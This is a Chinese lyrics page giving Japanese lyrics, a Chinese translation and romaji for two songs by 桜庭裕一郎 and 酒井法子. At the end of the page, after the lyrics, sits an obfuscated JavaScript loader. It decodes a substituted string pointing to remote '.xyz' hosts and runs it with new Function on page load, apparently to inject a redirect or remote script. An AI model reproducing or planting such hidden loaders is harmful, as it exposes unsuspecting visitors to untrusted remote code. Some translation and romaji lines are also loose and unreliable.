推荐回答(1个)
日语歌词:
お前やないとあかんねん - 桜庭裕一郎
作词:つんく 作曲:つんく
女に わからへん 男の意地があるし
素直に 言われへん 孤独な夜もあるし
わかってくれるか おいらを全部
一生かかっていいから
ただまっすぐ この梦を 叶えようよ
WOW YEAH
星空达が おいら达の未来を
今 见届けてるから ほら 口付けをしよう
WOW YEAH
おしゃべりでええねん
どんくさいのもお前やねん
ついて来い
女に 见せられへん 男の涙あるし
なかなか 忘れへん いろんな思いもあるし
わかってくれるか おいらを全部
一生かかっていいから
憧れてた あの店を 予约したよ
※WOW YEAH
星空达に おいら达の未来を
ほら 宣言するよ 绝対 幸せにするよ
WOW YEAH
寝ぼすけでええねん
料理へたのもお前やねん
ついて来い※
WOW YEAH
星空达が おいら达の未来を
今 见届けてるから ほら
(セリフ)「I WANNA KISS NOW」
WOW YEAH
おしゃべりでええねん
どんくさいのもお前やねん
ついて来い
WOW YEAH
星空达に おいら达の未来を
ほら 宣言するよ 绝対 幸せにするよ
WOW YEAH
寝ぼすけでええねん
料理へたのもお前やねん
ついて来い
ついて来い
中文翻译:
お前やないとあかんねん(不能没有你) - 桜庭裕一郎
作词:つんく 作曲:つんく
真不懂女人 而我也有男人的志气
坦白说 也曾有孤独的夜晚
愿意去了解吗 我的一切
因为是要花一辈子的时间
就这样坦率地去实现梦想吧 WOW YEAH
现在 星空可以看见我们的未来 就让我们拥吻吧
WOW YEAH 不需要任何语言
再怎麼样都是跟你在一起 跟著我就是了
也有不让女人看见 男人的眼泪
有很多回忆 很难忘掉
愿意去了解吗 我的一切
因为是要花一辈子的时间
预约了你一直想去的那间店 WOW YEAH
向星空宣誓我们的未来 绝对会让你幸福的
WOW YEAH 可以睡懒觉吧
你也会做菜吧 跟著我就是了
WOW YEAH
现在 星空可以看见我们的未来
「I WANNA KISS NOW」
WOW YEAH 不需要任何语言
再怎麼样都是跟你在一起 跟著我就是了
WOW YEAH 向星空宣誓我们的未来
绝对会让你幸福的
WOW YEAH 可以睡懒觉吧
你也会做菜吧 跟著我就是了
跟著我就是了
罗马音:
お前やないとあかんねん - 桜庭裕一郎
Omaeyanai To Akannen
作词:つんく 作曲:つんく
Onna ni wakarahen otoko no iji ga arushi
Sunao ni iwarehen kodoku na yoru mo arushi
Waka atte kureruka oira o zenbu isshou kaka atte ii kara
Tada massugu kono yume o kanaeyou yo
Wow yeah
Hoshizora tachi ga oira tachi no mirai o
Ima mitodoketeru kara hora kuzu tsuke o shiyou
Wow yeah
Oshaberi de ee nen
Donkusai no mo omaeyanen tsuite koi
Wow yeah
Wow yeah
Onna ni miseraren otoko no namida arushi
Nakanaka wasurehen ironna omoi mo arushi
Waka atte kureruka oira o zenbu isshou kaka atte ii kara
Akogareteta ano mise o yoyaku shita yo
Wow yeah
Hoshizora tachi ni oira tachi no mirai o
Hora sengen suru yo zettai shiawase ni suru yo
Wow yeah
Nebosukede ee nen
Ryouri eta nomo omaeyanen tsuite koi
Wow yeah
Wow yeah
Hoshizora tachi ga oira tachi no mirai o
Ima mitodoketeru kara hora
`I wanna kiss now`
Wow yeah
Oshaberi de ee nen
Donkusai no mo omaeyanen tsuite koi..
Wow yeah
Hoshizora tachi ni oira tachi no mirai o
Hora sengen suru yo zettai shiawase ni suru yo
Wow yeah
Nebosukede ee nen
Ryouri eta nomo omaeyanen tsuite koi
Tsuite koi.. Wow yeah
日语歌词:
镜のドレス - 酒井法子
作词:三浦らら 作曲:宇佐元恭一
突然 泣き出して あなたを困らせた
抱いてくれるのに おびえていた
ショーウインドーの中に 笑わないマネキン
真実(ほんとう)の私に 早く気がついて
明日のぶんの涙を 今日流してしまえばいい
虹の河をつくりあげて あなたがたどりつくように
生まれかわっても あなたを探せるわ
暗幕の星々が おしえている
裸の私に 雪が舞い降りる
ただそれが 私の镜のドレス
明日のぶんの想いは 今日の伝えてしまえばいい
泣いて泣いてずっと泣いて あなたがたどりつくように
几千の祈り
明日のぶんの涙を 今日流してしまえばいい
小舟に乗ったあなたが 私にたどりつくように
明日のぶんの想いは 今日伝えてしまえばいい
泣いて泣いてずっと泣いて 私にたどりつくまで
中文翻译:
镜のドレス - 酒井法子
作词:三浦らら 作曲:宇佐元恭一
突然涌出的泪水
让你不知所措
你在拥抱我
我却感到恐惧。
就像橱窗里的
不会笑的假模特
我希望早一点意识到
真实的我
要将明天该流的眼泪
在今天就一起流光
编织一条彩虹河
为了使你能来到(我身边)
即使转世重生
我)也能找到你
暗夜群星这样
对我说
雪花飘落在
我赤裸的身体上
它就是
我的镜中礼服
要将明天的思念之情
在今天就一起全部表达。
哭泣哭泣一直在哭泣
为了使你能来到(我身边)
几千次的祈祷
要将明天该流的眼泪
在今天就一起流光
为了使小舟上载着的你
能来到我身边
要将明天的思念之情
在今天就一起全部表达
哭泣哭泣一直在哭泣
直到你来到我身边
罗马音:
镜のドレス - 酒井法子
作词:三浦らら 作曲:宇佐元恭一
totsuzen naki dashite
anata o omaraseta
daite kureru no ni obiete ita
shyoindo no naka no
warawanai manekin
honto no watashi ni
hayaku kizuite
ashita no bun no namida o
kyo nagashite shimaeba ii
nishi no kawa o tsukuri agete
anata ga tadori tsuku you ni
umare kawatte mo
anata o sagaseruwa
annaku no hoshi
boshi ga oshiete iru (fu...)
hadaka no watashi ni
yuki ga mai oriru
tadasore ga watashi no
kagami no doresu
ashita no bun no omoi wa
kyo tsutaete shimaeba ii
naite naite zutto naite
anata ga tadori tsuku you ni
ikuseru no inori
ashita no bun no namida o
kyo nagashite shimaeba ii
kokona ni notta anata ga
watashi ni tadori tsuku you ni
ashita no bun no omoi wa
kyo tsutaete shimaeba ii
naite naite zutto naite
watashi ni tadori tsuku made
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();